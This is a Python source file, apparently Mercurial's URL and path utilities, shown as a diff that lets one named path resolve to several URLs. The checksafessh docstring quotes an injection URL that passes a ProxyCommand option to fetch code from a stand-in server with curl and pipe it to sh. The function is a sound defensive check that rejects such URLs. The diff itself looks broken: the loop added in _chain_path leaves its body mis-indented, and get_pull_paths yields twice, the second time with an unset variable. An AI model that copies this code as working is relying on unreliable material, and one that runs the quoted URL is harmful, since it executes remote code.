 # Copyright 2005-2021 Olivia Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 import os
 import re as remod
 import socket
 
 from ..i18n import _
 from ..pycompat import (
     getattr,
     setattr,
 )
 from .. import (
     encoding,
     error,
     pycompat,
     urllibcompat,
 )
 
 
 if pycompat.TYPE_CHECKING:
     from typing import (
         Union,
     )
 
 urlreq = urllibcompat.urlreq
 
 
 def getport(port):
     # type: (Union[bytes, int]) -> int
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(
             _(b"no port number associated with service '%s'") % port
         )
 
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # type: (bytes, bool, bool) -> None
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     def copy(self):
         u = url(b'temporary useless value')
         u.path = self.path
         u.scheme = self.scheme
         u.user = self.user
         u.passwd = self.passwd
         u.host = self.host
         u.path = self.path
         u.query = self.query
         u.fragment = self.fragment
         u._localpath = self._localpath
         u._hostport = self._hostport
         u._origpath = self._origpath
         return u
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         # type: () -> bytes
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     # type: (bytes) -> bool
     return bool(url(path).scheme)  # cast to help pytype
 
 
 def hasdriveletter(path):
     # type: (bytes) -> bool
     return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     # type: (bytes) -> bytes
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     # type: (bytes) -> None
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     # type: (bytes) -> bytes
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     # type: (bytes) -> bytes
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 def list_paths(ui, target_path=None):
     """list all the (name, paths) in the passed ui"""
+    result = []
     if target_path is None:
-        return sorted(pycompat.iteritems(ui.paths))
+        for name, paths in sorted(pycompat.iteritems(ui.paths)):
+            for p in paths:
+                result.append((name, p))
+
     else:
-        path = ui.paths.get(target_path)
-        if path is None:
-            return []
-        else:
-            return [(target_path, path)]
+        for path in ui.paths.get(target_path, []):
+            result.append((target_path, path))
+    return result
 
 
 def try_path(ui, url):
     """try to build a path from a url
 
     Return None if no Path could built.
     """
     try:
         # we pass the ui instance are warning might need to be issued
         return path(ui, None, rawloc=url)
     except ValueError:
         return None
 
 
 def get_push_paths(repo, ui, dests):
     """yields all the `path` selected as push destination by `dests`"""
     if not dests:
         if b'default-push' in ui.paths:
-            yield ui.paths[b'default-push']
+            for p in ui.paths[b'default-push']:
+                yield p
         elif b'default' in ui.paths:
-            yield ui.paths[b'default']
+            for p in ui.paths[b'default']:
+                yield p
         else:
             raise error.ConfigError(
                 _(b'default repository not configured!'),
                 hint=_(b"see 'hg help config.paths'"),
             )
     else:
         for dest in dests:
             if dest in ui.paths:
-                yield ui.paths[dest]
+                for p in ui.paths[dest]:
+                    yield p
             else:
                 path = try_path(ui, dest)
                 if path is None:
                     msg = _(b'repository %s does not exist')
                     msg %= dest
                     raise error.RepoError(msg)
                 yield path
 
 
 def get_pull_paths(repo, ui, sources, default_branches=()):
     """yields all the `(path, branch)` selected as pull source by `sources`"""
     if not sources:
         sources = [b'default']
     for source in sources:
         if source in ui.paths:
-            url = ui.paths[source].rawloc
+            for p in ui.paths[source]:
+                yield parseurl(p.rawloc, default_branches)
         else:
             # Try to resolve as a local path or URI.
             path = try_path(ui, source)
             if path is not None:
                 url = path.rawloc
             else:
                 url = source
         yield parseurl(url, default_branches)
 
 
 def get_unique_push_path(action, repo, ui, dest=None):
     """return a unique `path` or abort if multiple are found
 
     This is useful for command and action that does not support multiple
     destination (yet).
 
     Note that for now, we cannot get multiple destination so this function is "trivial".
 
     The `action` parameter will be used for the error message.
     """
     if dest is None:
         dests = []
     else:
         dests = [dest]
     dests = list(get_push_paths(repo, ui, dests))
-    assert len(dests) == 1
+    if len(dests) != 1:
+        if dest is None:
+            msg = _("default path points to %d urls while %s only supports one")
+            msg %= (len(dests), action)
+        else:
+            msg = _("path points to %d urls while %s only supports one: %s")
+            msg %= (len(dests), action, dest)
+        raise error.Abort(msg)
     return dests[0]
 
 
 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
     """return a unique `(path, branch)` or abort if multiple are found
 
     This is useful for command and action that does not support multiple
     destination (yet).
 
     Note that for now, we cannot get multiple destination so this function is "trivial".
 
     The `action` parameter will be used for the error message.
     """
+    urls = []
     if source is None:
         if b'default' in ui.paths:
-            url = ui.paths[b'default'].rawloc
+            urls.extend(p.rawloc for p in ui.paths[b'default'])
         else:
             # XXX this is the historical default behavior, but that is not
             # great, consider breaking BC on this.
-            url = b'default'
+            urls.append(b'default')
     else:
         if source in ui.paths:
-            url = ui.paths[source].rawloc
+            urls.extend(p.rawloc for p in ui.paths[source])
         else:
             # Try to resolve as a local path or URI.
             path = try_path(ui, source)
             if path is not None:
-                url = path.rawloc
+                urls.append(path.rawloc)
             else:
-                url = source
-    return parseurl(url, default_branches)
+                urls.append(source)
+    if len(urls) != 1:
+        if source is None:
+            msg = _("default path points to %d urls while %s only supports one")
+            msg %= (len(urls), action)
+        else:
+            msg = _("path points to %d urls while %s only supports one: %s")
+            msg %= (len(urls), action, source)
+        raise error.Abort(msg)
+    return parseurl(urls[0], default_branches)
 
 
 def get_clone_path(ui, source, default_branches=()):
     """return the `(origsource, path, branch)` selected as clone source"""
+    urls = []
     if source is None:
         if b'default' in ui.paths:
-            url = ui.paths[b'default'].rawloc
+            urls.extend(p.rawloc for p in ui.paths[b'default'])
         else:
             # XXX this is the historical default behavior, but that is not
             # great, consider breaking BC on this.
-            url = b'default'
+            urls.append(b'default')
     else:
         if source in ui.paths:
-            url = ui.paths[source].rawloc
+            urls.extend(p.rawloc for p in ui.paths[source])
         else:
             # Try to resolve as a local path or URI.
             path = try_path(ui, source)
             if path is not None:
-                url = path.rawloc
+                urls.append(path.rawloc)
             else:
-                url = source
+                urls.append(source)
+    if len(urls) != 1:
+        if source is None:
+            msg = _(
+                "default path points to %d urls while only one is supported"
+            )
+            msg %= len(urls)
+        else:
+            msg = _("path points to %d urls while only one is supported: %s")
+            msg %= (len(urls), source)
+        raise error.Abort(msg)
+    url = urls[0]
     clone_path, branch = parseurl(url, default_branches)
     return url, clone_path, branch
 
 
 def parseurl(path, branches=None):
     '''parse url#branch, returning (url, (branch, branches))'''
     u = url(path)
     branch = None
     if u.fragment:
         branch = u.fragment
         u.fragment = None
     return bytes(u), (branch, branches or [])
 
 
 class paths(dict):
     """Represents a collection of paths and their configs.
 
     Data is initially derived from ui instances and the config files they have
     loaded.
     """
 
     def __init__(self, ui):
         dict.__init__(self)
 
         for name, loc in ui.configitems(b'paths', ignoresub=True):
             # No location is the same as not existing.
             if not loc:
                 continue
             loc, sub_opts = ui.configsuboptions(b'paths', name)
-            self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
+            self[name] = [path(ui, name, rawloc=loc, suboptions=sub_opts)]
 
-        for name, p in sorted(self.items()):
-            self[name] = _chain_path(p, ui, self)
+        for name, old_paths in sorted(self.items()):
+            new_paths = []
+            for p in old_paths:
+                new_paths.extend(_chain_path(p, ui, self))
+            self[name] = new_paths
 
     def getpath(self, ui, name, default=None):
         """Return a ``path`` from a string, falling back to default.
 
         ``name`` can be a named path or locations. Locations are filesystem
         paths or URIs.
 
         Returns None if ``name`` is not a registered path, a URI, or a local
         path to a repo.
         """
         msg = b'getpath is deprecated, use `get_*` functions from urlutil'
         self.deprecwarn(msg, '6.0')
         # Only fall back to default if no path was requested.
         if name is None:
             if not default:
                 default = ()
             elif not isinstance(default, (tuple, list)):
                 default = (default,)
             for k in default:
                 try:
-                    return self[k]
+                    return self[k][0]
                 except KeyError:
                     continue
             return None
 
         # Most likely empty string.
         # This may need to raise in the future.
         if not name:
             return None
         if name in self:
-            return self[name]
+            return self[name][0]
         else:
             # Try to resolve as a local path or URI.
             path = try_path(ui, name)
             if path is None:
                 raise error.RepoError(_(b'repository %s does not exist') % name)
             return path.rawloc
 
 
 _pathsuboptions = {}
 
 
 def pathsuboption(option, attr):
     """Decorator used to declare a path sub-option.
 
     Arguments are the sub-option name and the attribute it should set on
     ``path`` instances.
 
     The decorated function will receive as arguments a ``ui`` instance,
     ``path`` instance, and the string value of this option from the config.
     The function should return the value that will be set on the ``path``
     instance.
 
     This decorator can be used to perform additional verification of
     sub-options and to change the type of sub-options.
     """
 
     def register(func):
         _pathsuboptions[option] = (attr, func)
         return func
 
     return register
 
 
 @pathsuboption(b'pushurl', b'pushloc')
 def pushurlpathoption(ui, path, value):
     u = url(value)
     # Actually require a URL.
     if not u.scheme:
         ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
         return None
 
     # Don't support the #foo syntax in the push URL to declare branch to
     # push.
     if u.fragment:
         ui.warn(
             _(
                 b'("#fragment" in paths.%s:pushurl not supported; '
                 b'ignoring)\n'
             )
             % path.name
         )
         u.fragment = None
 
     return bytes(u)
 
 
 @pathsuboption(b'pushrev', b'pushrev')
 def pushrevpathoption(ui, path, value):
     return value
 
 
-def _chain_path(path, ui, paths):
+def _chain_path(base_path, ui, paths):
     """return the result of "path://" logic applied on a given path"""
-    if path.url.scheme == b'path':
-        assert path.url.path is None
-        subpath = paths.get(path.url.host)
-        if subpath is None:
+    new_paths = []
+    if base_path.url.scheme != b'path':
+        new_paths.append(base_path)
+    else:
+        assert base_path.url.path is None
+        sub_paths = paths.get(base_path.url.host)
+        if sub_paths is None:
             m = _(b'cannot use `%s`, "%s" is not a known path')
-            m %= (path.rawloc, path.url.host)
+            m %= (base_path.rawloc, base_path.url.host)
             raise error.Abort(m)
+        for subpath in sub_paths:
+            path = base_path.copy()
         if subpath.raw_url.scheme == b'path':
             m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
             m %= (path.rawloc, path.url.host)
             raise error.Abort(m)
         path.url = subpath.url
         path.rawloc = subpath.rawloc
         path.loc = subpath.loc
         if path.branch is None:
             path.branch = subpath.branch
         else:
             base = path.rawloc.rsplit(b'#', 1)[0]
             path.rawloc = b'%s#%s' % (base, path.branch)
         suboptions = subpath._all_sub_opts.copy()
         suboptions.update(path._own_sub_opts)
         path._apply_suboptions(ui, suboptions)
-    return path
+            new_paths.append(path)
+    return new_paths
 
 
 class path(object):
     """Represents an individual path and its configuration."""
 
     def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
         """Construct a path from its config options.
 
         ``ui`` is the ``ui`` instance the path is coming from.
         ``name`` is the symbolic name of the path.
         ``rawloc`` is the raw location, as defined in the config.
         ``pushloc`` is the raw locations pushes should be made to.
 
         If ``name`` is not defined, we require that the location be a) a local
         filesystem path with a .hg directory or b) a URL. If not,
         ``ValueError`` is raised.
         """
         if ui is None:
             # used in copy
             assert name is None
             assert rawloc is None
             assert suboptions is None
             return
 
         if not rawloc:
             raise ValueError(b'rawloc must be defined')
 
         # Locations may define branches via syntax <base>#<branch>.
         u = url(rawloc)
         branch = None
         if u.fragment:
             branch = u.fragment
             u.fragment = None
 
         self.url = u
         # the url from the config/command line before dealing with `path://`
         self.raw_url = u.copy()
         self.branch = branch
 
         self.name = name
         self.rawloc = rawloc
         self.loc = b'%s' % u
 
         self._validate_path()
 
         _path, sub_opts = ui.configsuboptions(b'paths', b'*')
         self._own_sub_opts = {}
         if suboptions is not None:
             self._own_sub_opts = suboptions.copy()
             sub_opts.update(suboptions)
         self._all_sub_opts = sub_opts.copy()
 
         self._apply_suboptions(ui, sub_opts)
 
     def copy(self):
         """make a copy of this path object"""
         new = self.__class__()
         for k, v in self.__dict__.items():
             new_copy = getattr(v, 'copy', None)
             if new_copy is not None:
                 v = new_copy()
             new.__dict__[k] = v
         return new
 
     def _validate_path(self):
         # When given a raw location but not a symbolic name, validate the
         # location is valid.
         if (
             not self.name
             and not self.url.scheme
             and not self._isvalidlocalpath(self.loc)
         ):
             raise ValueError(
                 b'location is not a URL or path to a local '
                 b'repo: %s' % self.rawloc
             )
 
     def _apply_suboptions(self, ui, sub_options):
         # Now process the sub-options. If a sub-option is registered, its
         # attribute will always be present. The value will be None if there
         # was no valid sub-option.
         for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
             if suboption not in sub_options:
                 setattr(self, attr, None)
                 continue
 
             value = func(ui, self, sub_options[suboption])
             setattr(self, attr, value)
 
     def _isvalidlocalpath(self, path):
         """Returns True if the given path is a potentially valid repository.
         This is its own function so that extensions can change the definition of
         'valid' in this case (like when pulling from a git repo into a hg
         one)."""
         try:
             return os.path.isdir(os.path.join(path, b'.hg'))
         # Python 2 may return TypeError. Python 3, ValueError.
         except (TypeError, ValueError):
             return False
 
     @property
     def suboptions(self):
         """Return sub-options and their values for this path.
 
         This is intended to be used for presentation purposes.
         """
         d = {}
         for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
             value = getattr(self, attr)
             if value is not None:
                 d[subopt] = value
         return d